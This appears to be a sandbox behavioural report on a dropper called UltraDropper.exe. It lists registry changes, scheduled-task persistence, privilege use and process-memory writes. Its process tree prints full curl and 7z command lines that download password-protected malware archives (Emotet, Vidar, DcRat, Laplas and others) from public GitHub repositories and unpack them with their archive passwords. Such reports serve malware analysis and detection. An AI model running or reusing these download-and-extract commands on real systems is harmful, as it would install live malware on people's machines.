\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FE4-8583-11D1-B16A-00C0F0283628} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FED-8583-11D1-B16A-00C0F0283628}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2C247F21-8591-11D1-B16A-00C0F0283628} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\ = "Microsoft Toolbar Control, version 5.0 (SP2)" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{373FF7F1-EB8B-11CD-8820-08002B2F4F5A}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.Toolbar\ = "Microsoft Toolbar Control 6.0 (SP4)" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ImageListCtrl\CurVer\ = "MSComctlLib.ImageListCtrl.2" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C27CCE42-8596-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F08DF953-8592-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\Implemented Categories\{0DE86A57-2BAA-11CF-A229-00AA003D7352} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.SBarCtrl regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8E3867AA-8586-11D1-B16A-00C0F0283628}\ = "IPanel" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58DA8D90-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D90-9D6A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\Version regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\MiscStatus\1\ = "131473" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8E3867AA-8586-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6594-857C-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\ = "Microsoft ImageList Control, version 5.0 (SP2)" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8D2-850A-101B-AFC0-4210102A8DA7}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA60-E020-11CF-8E74-00A0C90F26F8}\TypeLib regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8556BCD2-E01E-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D94-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FE9-8583-11D1-B16A-00C0F0283628}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FEB-8583-11D1-B16A-00C0F0283628} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F08DF952-8592-11D1-B16A-00C0F0283628}\ = "ISlider" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E451-850A-101B-AFC0-4210102A8DA7}\ = "IButtons10" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDD1F04B-858B-11D1-B16A-00C0F0283628}\MiscStatus regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{66833FE6-8583-11D1-B16A-00C0F0283628}\ToolboxBitmap32\ = "c:\\windows\\mscomctl.ocx, 12" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ImageComboCtl.2\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6597-857C-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C8A3DC00-8593-11D1-B16A-00C0F0283628}\TypeLib regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6599-857C-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A8-850A-101B-AFC0-4210102A8DA7} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{612A8625-0FB3-11CE-8747-524153480004}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6B7E6390-850A-101B-AFC0-4210102A8DA7}\TypeLib regsvr32.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628} regsvr32.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 51 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5688 schtasks.exe 5396 schtasks.exe 984 schtasks.exe 6032 schtasks.exe 5712 schtasks.exe 1192 schtasks.exe 1264 schtasks.exe 4976 schtasks.exe 1480 schtasks.exe 5916 schtasks.exe 3332 schtasks.exe 2904 schtasks.exe 3704 schtasks.exe 1064 schtasks.exe 2848 schtasks.exe 5976 schtasks.exe 4952 schtasks.exe 3892 schtasks.exe 6104 schtasks.exe 1200 schtasks.exe 3436 schtasks.exe 4684 schtasks.exe 5348 schtasks.exe 248 schtasks.exe 2108 schtasks.exe 4788 schtasks.exe 3264 schtasks.exe 3932 schtasks.exe 4936 schtasks.exe 2076 schtasks.exe 5672 schtasks.exe 3328 schtasks.exe 2580 schtasks.exe 6128 schtasks.exe 2332 schtasks.exe 6112 schtasks.exe 3140 schtasks.exe 1412 schtasks.exe 5780 schtasks.exe 1160 schtasks.exe 1008 schtasks.exe 3856 schtasks.exe 1444 schtasks.exe 1092 schtasks.exe 4792 schtasks.exe 400 schtasks.exe 5340 schtasks.exe 4656 schtasks.exe 560 schtasks.exe 4496 schtasks.exe 5216 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1756 regsvr32.exe 1756 regsvr32.exe 5696 Install.exe 5696 Install.exe 5920 regsvr32.exe 5920 regsvr32.exe 5920 regsvr32.exe 5920 regsvr32.exe 5920 regsvr32.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 5696 Install.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 3684 PortwebSaves.exe 1960 windows.exe 1960 windows.exe 1960 windows.exe 1960 windows.exe 404 powershell.exe 404 powershell.exe -
Suspicious use of AdjustPrivilegeToken 58 IoCs
description pid Process Token: SeRestorePrivilege 4800 ud.7z.exe Token: 35 4800 ud.7z.exe Token: SeSecurityPrivilege 4800 ud.7z.exe Token: SeSecurityPrivilege 4800 ud.7z.exe Token: SeRestorePrivilege 1996 ud.7z.exe Token: 35 1996 ud.7z.exe Token: SeSecurityPrivilege 1996 ud.7z.exe Token: SeSecurityPrivilege 1996 ud.7z.exe Token: SeRestorePrivilege 3272 ud.7z.exe Token: 35 3272 ud.7z.exe Token: SeSecurityPrivilege 3272 ud.7z.exe Token: SeSecurityPrivilege 3272 ud.7z.exe Token: SeRestorePrivilege 5432 ud.7z.exe Token: 35 5432 ud.7z.exe Token: SeSecurityPrivilege 5432 ud.7z.exe Token: SeSecurityPrivilege 5432 ud.7z.exe Token: SeRestorePrivilege 3124 ud.7z.exe Token: 35 3124 ud.7z.exe Token: SeSecurityPrivilege 3124 ud.7z.exe Token: SeSecurityPrivilege 3124 ud.7z.exe Token: SeRestorePrivilege 4956 ud.7z.exe Token: 35 4956 ud.7z.exe Token: SeSecurityPrivilege 4956 ud.7z.exe Token: SeSecurityPrivilege 4956 ud.7z.exe Token: SeRestorePrivilege 3916 ud.7z.exe Token: 35 3916 ud.7z.exe Token: SeSecurityPrivilege 3916 ud.7z.exe Token: SeSecurityPrivilege 3916 ud.7z.exe Token: SeRestorePrivilege 2524 ud.7z.exe Token: 35 2524 ud.7z.exe Token: SeSecurityPrivilege 2524 ud.7z.exe Token: SeSecurityPrivilege 2524 ud.7z.exe Token: SeRestorePrivilege 1292 ud.7z.exe Token: 35 1292 ud.7z.exe Token: SeSecurityPrivilege 1292 ud.7z.exe Token: SeSecurityPrivilege 1292 ud.7z.exe Token: SeDebugPrivilege 3408 Worm (1).exe Token: SeDebugPrivilege 1960 windows.exe Token: SeDebugPrivilege 3684 PortwebSaves.exe Token: SeDebugPrivilege 404 powershell.exe Token: SeDebugPrivilege 3968 powershell.exe Token: SeDebugPrivilege 244 powershell.exe Token: SeDebugPrivilege 5464 powershell.exe Token: SeDebugPrivilege 5960 powershell.exe Token: SeDebugPrivilege 5728 powershell.exe Token: SeDebugPrivilege 1020 powershell.exe Token: SeDebugPrivilege 5988 powershell.exe Token: SeDebugPrivilege 5308 powershell.exe Token: SeDebugPrivilege 3124 powershell.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeDebugPrivilege 4280 powershell.exe Token: SeDebugPrivilege 2124 powershell.exe Token: SeDebugPrivilege 1968 powershell.exe Token: SeDebugPrivilege 5572 powershell.exe Token: SeDebugPrivilege 2256 powershell.exe Token: SeDebugPrivilege 4072 powershell.exe Token: SeDebugPrivilege 5112 powershell.exe Token: SeDebugPrivilege 5692 Registry.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] 5332 [email protected] -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 5332 [email protected] 5332 [email protected] 2924 antivirus-platinum.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3172 wrote to memory of 6132 3172 UltraDropper.exe 78 PID 3172 wrote to memory of 6132 3172 UltraDropper.exe 78 PID 3172 wrote to memory of 6132 3172 UltraDropper.exe 78 PID 6132 wrote to memory of 1444 6132 cmd.exe 79 PID 6132 wrote to memory of 1444 6132 cmd.exe 79 PID 6132 wrote to memory of 1444 6132 cmd.exe 79 PID 6132 wrote to memory of 4800 6132 cmd.exe 80 PID 6132 wrote to memory of 4800 6132 cmd.exe 80 PID 6132 wrote to memory of 4800 6132 cmd.exe 80 PID 3172 wrote to memory of 3044 3172 UltraDropper.exe 81 PID 3172 wrote to memory of 3044 3172 UltraDropper.exe 81 PID 3172 wrote to memory of 3044 3172 UltraDropper.exe 81 PID 3044 wrote to memory of 5404 3044 cmd.exe 82 PID 3044 wrote to memory of 5404 3044 cmd.exe 82 PID 3044 wrote to memory of 5404 3044 cmd.exe 82 PID 3044 wrote to memory of 1996 3044 cmd.exe 83 PID 3044 wrote to memory of 1996 3044 cmd.exe 83 PID 3044 wrote to memory of 1996 3044 cmd.exe 83 PID 3172 wrote to memory of 5652 3172 UltraDropper.exe 84 PID 3172 wrote to memory of 5652 3172 UltraDropper.exe 84 PID 3172 wrote to memory of 5652 3172 UltraDropper.exe 84 PID 5652 wrote to memory of 6072 5652 cmd.exe 85 PID 5652 wrote to memory of 6072 5652 cmd.exe 85 PID 5652 wrote to memory of 6072 5652 cmd.exe 85 PID 5652 wrote to memory of 3272 5652 cmd.exe 86 PID 5652 wrote to memory of 3272 5652 cmd.exe 86 PID 5652 wrote to memory of 3272 5652 cmd.exe 86 PID 3172 wrote to memory of 2396 3172 UltraDropper.exe 87 PID 3172 wrote to memory of 2396 3172 UltraDropper.exe 87 PID 3172 wrote to memory of 2396 3172 UltraDropper.exe 87 PID 2396 wrote to memory of 4072 2396 cmd.exe 88 PID 2396 wrote to memory of 4072 2396 cmd.exe 88 PID 2396 wrote to memory of 4072 2396 cmd.exe 88 PID 2396 wrote to memory of 3200 2396 cmd.exe 89 PID 2396 wrote to memory of 3200 2396 cmd.exe 89 PID 2396 wrote to memory of 3200 2396 cmd.exe 89 PID 3172 wrote to memory of 1564 3172 UltraDropper.exe 90 PID 3172 wrote to memory of 1564 3172 UltraDropper.exe 90 PID 3172 wrote to memory of 1564 3172 UltraDropper.exe 90 PID 1564 wrote to memory of 5968 1564 cmd.exe 91 PID 1564 wrote to memory of 5968 1564 cmd.exe 91 PID 1564 wrote to memory of 5968 1564 cmd.exe 91 PID 1564 wrote to memory of 5432 1564 cmd.exe 92 PID 1564 wrote to memory of 5432 1564 cmd.exe 92 PID 1564 wrote to memory of 5432 1564 cmd.exe 92 PID 3172 wrote to memory of 1388 3172 UltraDropper.exe 93 PID 3172 wrote to memory of 1388 3172 UltraDropper.exe 93 PID 3172 wrote to memory of 1388 3172 UltraDropper.exe 93 PID 1388 wrote to memory of 1172 1388 cmd.exe 94 PID 1388 wrote to memory of 1172 1388 cmd.exe 94 PID 1388 wrote to memory of 1172 1388 cmd.exe 94 PID 1388 wrote to memory of 3124 1388 cmd.exe 95 PID 1388 wrote to memory of 3124 1388 cmd.exe 95 PID 1388 wrote to memory of 3124 1388 cmd.exe 95 PID 3172 wrote to memory of 3360 3172 UltraDropper.exe 96 PID 3172 wrote to memory of 3360 3172 UltraDropper.exe 96 PID 3172 wrote to memory of 3360 3172 UltraDropper.exe 96 PID 3360 wrote to memory of 3672 3360 cmd.exe 97 PID 3360 wrote to memory of 3672 3360 cmd.exe 97 PID 3360 wrote to memory of 3672 3360 cmd.exe 97 PID 3360 wrote to memory of 4956 3360 cmd.exe 98 PID 3360 wrote to memory of 4956 3360 cmd.exe 98 PID 3360 wrote to memory of 4956 3360 cmd.exe 98 PID 3172 wrote to memory of 2408 3172 UltraDropper.exe 99 -
System policy modification 1 TTPs 4 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1" antivirus-platinum.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer antivirus-platinum.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863" antivirus-platinum.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System antivirus-platinum.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5500 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6132 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1444
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4800
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5404
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1996
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5652 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6072
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3272
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" --ssl-no-revoke x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4072
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" --ssl-no-revoke x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3200
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5968
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1172
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3672
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4956
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
PID:2408 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:660
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3916
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"2⤵
- System Location Discovery: System Language Discovery
PID:1884 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3904
-
-
